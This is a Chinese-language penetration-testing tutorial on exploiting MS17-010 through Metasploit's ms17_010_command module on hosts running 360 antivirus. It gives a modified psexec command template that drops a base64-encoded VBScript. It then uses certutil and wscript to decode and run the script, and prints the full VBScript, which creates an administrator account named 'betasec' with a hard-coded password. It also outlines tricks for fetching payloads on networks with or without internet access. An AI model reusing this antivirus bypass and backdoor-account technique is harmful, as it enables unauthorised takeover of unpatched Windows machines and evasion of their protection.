适用场景

目标机器存在ms17-010且只能使用command模块攻击
目标机器装有360

解决方案

1、出网情况下,可以使用远程下载exe进行上线或者添加用户,只需要下载命令免杀即可。
2、不出网的情况下:
a、内网机器开启http服务,将需要下载的exe放到内网机器中进行下载。
b、内网主机开启匿名共享,让目标机器通过匿名共享下载文件。
3、命令行下添加用户

绕过方式

修改MSF

模块

admin/smb/ms17_010_command

文件位置

/usr/share/metasploit-framework/modules/auxiliary/admin/smb/ms17_010_command.rb
打开模块文件,寻找执行命令的代码,发现103行调用了execute_command_with_output函数去执行命令。
image.png

该方法调用了psexec中的方法,跟进文件/usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb,256行定义的执行命令的方法,内部调用了243行的execute_command函数去执行命令。
image.png
默认的命令拼接方式为

%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}

使用echo命令将模块中配置的CMOOAND参数进行拼接重定向到c:\windows\temp目录下的随机文件名.txt中,再将整个命令写入到c:\windows\temp目录下随机文件名.bat文件中,最终执行bat文件去执行命令。

将默认的execute参数修改为如下:

execute = "%COMSPEC% /C echo echo c2V0IHdzbmV0d29yaz1DcmVhdGVPYmplY3QoIldTQ1JJUFQuTkVUV09SSyIpDQpvcz0iV2luTlQ6Ly8iJndzbmV0d29yay5Db21wdXRlck5hbWUNClNldCBvYj1HZXRPYmplY3Qob3MpDQpTZXQgb2U9R2V0T2JqZWN0KG9zJiIvQWRtaW5pc3RyYXRvcnMsZ3JvdXAiKQ0KU2V0IG9kPW9iLkNyZWF0ZSgidXNlciIsImJldGFzZWMiKQ0Kb2QuU2V0UGFzc3dvcmQgInBhc3MhQCMhMjMiDQpvZC5TZXRJbmZvDQpTZXQgb2Y9R2V0T2JqZWN0KG9zJiIvYmV0YXNlYyIsdXNlcikNCm9lLmFkZCBvcyYiL2JldGFzZWMi ^>c:\\windows\\temp\\user.vbs > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"

使用admin/smb/ms17_010_command模块重新进行攻击,攻击成功后将会在c:\windows\temp生成user.vbs文件
image.png
后续使用下面两条命令即可绕过360添加用户

certutil -decode user.vbs useradd.vbs
wscript.exe useradd.vbs

使用vbs进行用户添加可以Bypass360,vbs内容如下:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","betasec")
od.SetPassword "pass!@#!23"
od.SetInfo
Set of=GetObject(os&"/betasec",user)
oe.add os&"/betasec"

坑点

1、在linux下由于默认的命令行无法输入中文双引号,导致部分绕过命令无法执行,可以通过修改源码的方式进行绕过。
2、由于默认的命令拼接方式中存在重定向操作,所以无法在模块中直接设置带有重定向的COMMAND命令,可以通过修改源码的方式进行绕过。

Q.E.D.